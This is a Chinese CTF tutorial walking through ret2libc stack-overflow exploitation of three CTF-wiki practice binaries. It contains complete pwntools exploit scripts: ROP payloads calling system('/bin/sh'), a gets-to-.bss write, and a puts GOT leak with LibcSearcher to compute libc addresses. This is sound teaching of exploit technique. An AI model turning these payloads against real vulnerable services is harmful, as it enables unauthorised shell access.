目录
1.libc
2.plt 和got
3.调用system
4.flat函数
5.libc泄露
例题1
checksec
ida
计算偏移量
查找system.plt
查找/bin/sh
1.ida
2.ROPgadget
exp
例题2
checksec
ida
思路
给出流程图
查看bss是否可以写入
exp
例题3
checksec
ida
偏移量
找puts的got
使用libcsearcher 来查找libc偏移量
完整exp
编辑
出现报错不用慌张
附上流程图
1.libc
我们要先明白这种类型是什么 为什么我们可以使用这个
libc 是c语言在电脑中的库 是一个标准库
运用这个库 程序员可以很轻松的解决低级问题
比如获取系统时间、打开和关闭文件、分配和释放内存、格式化和输出字符串等等
2.plt 和got
这里我给出简易版的plt got 的调用
以print函数为例
就是通过两个表进行查找print函数的真实地址 其实里面还有一个函数是计算处真实地址
简略版流程图
3.调用system
调用完system.plt 需要加入返回地址 随便填写即可 因为我们打开命令就不需要返回
4.flat函数
flat([1,2,3,4])
会自动添加合适的发送方式 就是不用自己在写入p32 p64
5.libc泄露
如果我们无法找到system的plt地址 那我们就无法调用system函数
那我们该怎么找到他呢
假如代码前面执行了puts函数 那我们可以通过puts函数 进行计算 得到libc的版本 然后再通过
puts函数的真实地址 和 通过LibcSearcher工具得到的偏移量 就可以计算出每个函数的基地址
然后通过基地址我们就可以用system的偏移量得到system函数
例题1
以wiki里面的ret2libc1为例
checksec
ida
存在栈溢出 不存在shellcode
计算偏移量
命令框1
gdb ret2libc1
r
输入
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
返回
*EIP 0x62616164 ('daab')
───────────────────────[ DISASM / i386 / set emulate on ]───────────────────────
Invalid address 0x62616164
命令框2
cyclic 200
cyclic -l daab
查找system.plt
直接看
查找/bin/sh
1.ida
2.ROPgadget
ROPgadget --binary ret2libc1 --string '/bin/sh'
得到地址
我们可以开始编写exp
exp
from pwn import *
p=process('./ret2libc1')
sys_add=0x08048460
bin_add=0x08048720
payload=flat(['A'*112,sys_add,1234,bin_add])
p.sendline(payload)
p.interactive()
例题2
wiki里的ret2libc2
checksec
ida
没有/bin/sh字符串了
存在栈溢出
思路
这里又是应一个思路 我们没有可以使用的字符串 我们该怎么办 我们能不能实现自己输入
这里就可以调用get函数来让我们输入/bin/sh 然后在让system返回到我们输入的地方
给出流程图
查看bss是否可以写入
gdb ret2libc2
b main
r
vmmap
先看看ida中bss段在哪里
找到了 而且有一个变量可以存入
再看看gdb的
第三个就是bss段的地址区 发现可以写入的
开始编写exp
exp
from pwn import *
p=process('./ret2libc2')
get_add=0x08048460
sys_add=0x08048490
buf2_add=0x0804A080
payload=flat([b'A'*112,get_add,sys_add,buf2_add,buf2_add])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
这里再次给出wiki的payload的解读流程图
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
再给出函数的执行流程 防止混乱
例题3
需要使用LibcSeacher 里面的库可能不全 更新一下因为 我老是报错
解决LibcSearcher找不到合适libc(更新libc)_yongbaoii的博客-CSDN博客
checksec
ida
不存在/bin/sh
from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
put_plt=elf.plt['puts']
put_got=elf.got['puts']
start_addr=elf.symbols['_start']
不存在system.plt
什么都没有所以我们没有办法用上面的办法
那我们该怎么办呢
我们需要找到libc泄露
我们看看我们在输入前执行了什么函数
发现有puts函数
因为puts函数执行了所以他的libc就能确定 不会变
不是地址不会变 是函数和puts真实地址的之间的链接是不会变的
所以我们只要使用puts函数的真实地址 求出他们之间的链接
我们就可以找到其他函数 因为这个链接是通用的
我们现在的目标就是寻找puts的got表 来找到真实地址
偏移量
和前面的一样 都是通过cyclic指令实现(不会就是没有认真看)
找puts的got
我们可以使用pwntools的ELF来寻找puts函数的got
from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
这里有一个问题 为什么我们需要找到开始的地址 _start表示程序开始的地址
我们找这个的目的是为了让程序重新执行一遍 因为我们要上传shellcode
一遍我们只能找到got表的泄露 我们要写入的话就要重新执行一下 所以等等通过把start的地址存入返回地址 让程序执行两次
我们可以开始写找到got后的exp了(还没有写完 这是第一次的payload)
from pwn import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))
这样我们得到了puts的真实地址
这里我们解释一下两个代码
p.sendlineafter('!?',payload1)
在出现字符串!?后 注入payload1
puts_addr=u32(p.recv(4))
p.recv(4)接受程序返回的二进制 大小为4字节
u32()为保存为无符号的32位
这里我们就得到了puts_addr的真实地址
使用libcsearcher 来查找libc偏移量
如果下面代码报错了 需要重新载入一下库 因为初始库可能无法使用
更新时间会很长
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])
这就是libcsearch的函数 我们来解释一下
libc=LibcSearcher('puts',puts_addr)、
计算出是多少版本的libc
base=puts_addr-libc.dump('puts')
通过计算出来的版本求得puts函数的基值 然后通过真实地址-基值=偏移量
system_addr=base+libc.dump('system')
通过偏移量+这个版本的system基值=真实system函数的地址
bin_addr=base+libc.dump('str_bin_sh')
通过偏移量+这个版本中字符串/bin/sh的基值 = 真实/bin/sh的地址
注意这里(str_bin_sh)是求字符串的写法
记住前面要引入LibcSearch库
完整exp
from pwn import *
from LibcSearcher import *
p=process('./ret2libc3')
elf=ELF('ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=elf.symbols['_start']
payload1=flat([b'A'*112,puts_plt,start_addr,puts_got])
p.sendlineafter('!?',payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
system_addr=base+libc.dump('system')
bin_addr=base+libc.dump('str_bin_sh')
payload2=flat([b'A'*112,system_addr,1234,bin_addr])
p.sendlineafter('!?',payload2)
p.interactive()
出现报错不用慌张
有这么多选择 一个一个选过去
我就是选到第八个才可以 老倒霉了
附上流程图